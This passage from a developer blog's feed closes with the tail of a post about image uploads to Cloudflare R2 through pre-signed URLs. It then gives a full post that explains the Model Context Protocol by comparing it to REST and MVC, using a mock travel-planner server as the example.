&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;handleFileUpload&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;event&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;files&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; Array.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(event.target.files)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; files) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;file.type.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;startsWith&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;image/&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;alert&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Only image files are allowed&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;continue&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (file.size &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1024&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1024&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;alert&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;File size must be less than 10MB&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;continue&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    uploading.value &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;filename&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;uploadFile&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(file)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      uploadedFiles.value.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        filename, &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        originalName: file.name &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (error) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Upload failed:&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, error)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;finally&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      uploading.value &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Relying on Pre-signed URLs for direct uploads to Cloudflare R2 infra might come at some cost of complexity, but the benefits in terms of scalability, security, and performance are well worth it.&lt;/p&gt;
&lt;p&gt;Hopefully, the documented journey above with code snippets and pitfalls to avoid will help you implement a similar solution in your own projects without going through various hurdles and open issues.&lt;/p&gt;</content:encoded></item><item><title>A RESTful HTTP Mental Model to Understand MCP</title><link>https://lirantal.com/blog/a-restful-http-mental-model-to-understand-mcp/</link><guid>https://lirantal.com/blog/a-restful-http-mental-model-to-understand-mcp/</guid><description>For those familiar with RESTful HTTP architecture, would it make sense to describe the Model Context Protocol (MCP) in a similar way?</description><pubDate>Sun, 12 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The Model Context Protocol (MCP) is a specification designed to facilitate interaction between AI models, tools, and resources. I was wondering about an experiment where we could try to describe MCP in a way that is similar to the RESTful HTTP architecture to make MCP more understandable for those coming from web development.&lt;/p&gt;
&lt;h2 id=&quot;a-reference-mcp-server&quot;&gt;A Reference MCP Server&lt;/h2&gt;
&lt;p&gt;To put our methodology and HTTP’s RESTful mental model into play we’ll imagine a real-world use-case of an MCP Server.&lt;/p&gt;
&lt;p&gt;Our reference MCP Server will be a “Travel Planner” that helps users plan trips by providing information about destinations, accommodations, and activities. The MCP Server will allow booking flights or hotels and cancelling reservations.&lt;/p&gt;
&lt;p&gt;Here is a quick high-level code implementation in JavaScript of the MCP Server using Anthropic’s official &lt;code&gt;@modelcontextprotocol/sdk&lt;/code&gt; package:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { MCPServer } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;@modelcontextprotocol/sdk&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Tool for searching flights&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;searchFlightsTool&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  name: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;searchFlights&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  description: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Search for available flights based on destination and dates.&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  parameters: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    destination: { type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;string&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, description: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Destination city or airport code&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    departureDate: { type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;string&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, description: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Departure date in YYYY-MM-DD format&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    returnDate: { type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;string&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, description: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Return date in YYYY-MM-DD format&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;execute&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;params&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Mock implementation of flight search&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      { flightNumber: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;FL123&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, airline: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;AirExample&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, price: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;300&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      { flightNumber: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;FL456&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, airline: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;FlySample&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, price: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;350&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    ];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Tool for cancelling bookings&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;cancelBookingTool&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  name: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;cancelBooking&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  description: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Cancel an existing booking using the booking ID.&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  parameters: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    bookingId: { type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;string&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, description: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;The ID of the booking to cancel&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;execute&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;params&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Mock implementation of booking cancellation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { success: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, message: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`Booking ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;params&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;bookingId&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;} has been cancelled.`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;understanding-mcp-through-restful-http&quot;&gt;Understanding MCP through RESTful HTTP&lt;/h2&gt;
&lt;p&gt;To better understand MCP, we can draw parallels to the well-known RESTful HTTP architecture, which is widely used in web development.&lt;/p&gt;
&lt;p&gt;Quick reminder on the building blocks of RESTful HTTP:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HTTP Methods drive actions (GET, POST, PUT, DELETE)&lt;/li&gt;
&lt;li&gt;Resources are the entities being acted upon (e.g., users, posts)&lt;/li&gt;
&lt;li&gt;Status Codes indicate the result of the action (e.g., 200 OK, 404 Not Found)&lt;/li&gt;
&lt;li&gt;Endpoints are the URLs where resources can be accessed (e.g., /api/users)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If we map the above RESTful concepts to MCP, we can see the following correspondences:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HTTP Methods -map-to-&gt; Tools (e.g., &lt;code&gt;searchFlights&lt;/code&gt;, &lt;code&gt;cancelBooking&lt;/code&gt;): meaning, what would be a &lt;code&gt;DELETE&lt;/code&gt; HTTP method in RESTful would be a &lt;code&gt;cancelBooking&lt;/code&gt; tool in MCP. A &lt;code&gt;GET&lt;/code&gt; HTTP method would be a &lt;code&gt;searchFlights&lt;/code&gt; tool in MCP.&lt;/li&gt;
&lt;li&gt;Resources -map-to-&gt; business resources in an MCP Server (e.g., ‘flights’, ‘bookings’).&lt;/li&gt;
&lt;li&gt;Status Codes -map-to-&gt; Tool Responses (e.g., success, or ‘not found’ responses).&lt;/li&gt;
&lt;li&gt;Endpoints -map-to-&gt; MCP Server Resources (e.g., `flights://deals’, ‘bookings://{id}’).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As you can see, some of the concepts translate quite well between RESTful HTTP and MCP, with a strong correlation like Endpoints and MCP Server Resources, others, not so much.&lt;/p&gt;
&lt;p&gt;Of course, keeping in mind that the underlying Model Context Protocol specification relies on a JSON-RPC 2.0 transport layer, which is maybe more akin to GraphQL than RESTful HTTP.&lt;/p&gt;
&lt;h2 id=&quot;applying-mvc-model-view-controller-paradigm-to-mcp&quot;&gt;Applying MVC (Model-View-Controller Paradigm) to MCP&lt;/h2&gt;
&lt;p&gt;What if we also try to apply the MVC (Model-View-Controller) paradigm to MCP? How would that look?&lt;/p&gt;
&lt;p&gt;An break-down of MVC architecture consists of:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Model: Manages the data and business logic.&lt;/li&gt;
&lt;li&gt;View: Handles the display and user interface.&lt;/li&gt;
&lt;li&gt;Controller: Manages user input and interactions.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is a classic software design pattern used for developing user interfaces that divides the related program logic into three interconnected elements and has dominated early-age web development until it was superseded by other paradigms like MVVM (known mostly for Single Page Applications (SPA) frameworks like Angular, React, Vue, etc.).&lt;/p&gt;
&lt;p&gt;So if we try to map the MVC components to MCP, we could see something like this:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;M - Services&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;V - Tool Response&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;C - Tools&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    Model                 View                  Controller&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;      |                     |                      |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Business Logic        Tool Response        Tools or Resources  &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With MCP-UI emerging in recent months, potentially the View component could be represented by the MCP-UI, which provides a user interface for interacting with the MCP Server. Would it make a better fit? Time will tell.&lt;/p&gt;
&lt;p&gt;MVC likely makes a better paradigm for capturing a mental model of how MCP Servers are architected, however, I’ve only just scratched the surface here with just tools and resources, where-as MCP Servers have other capabilities like Prompts. Moreso, there’s also another player in the mix which is the MCP Client and capabilities more directly related to it like Elicitations and Sampling.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I find it an interesting exercise to explore the analogy of MCP with other prior technical concepts like REST and MVC and even when those don’t map perfectly, there’s hopefully a nugget to be found in the exercise and learn something new.&lt;/p&gt;
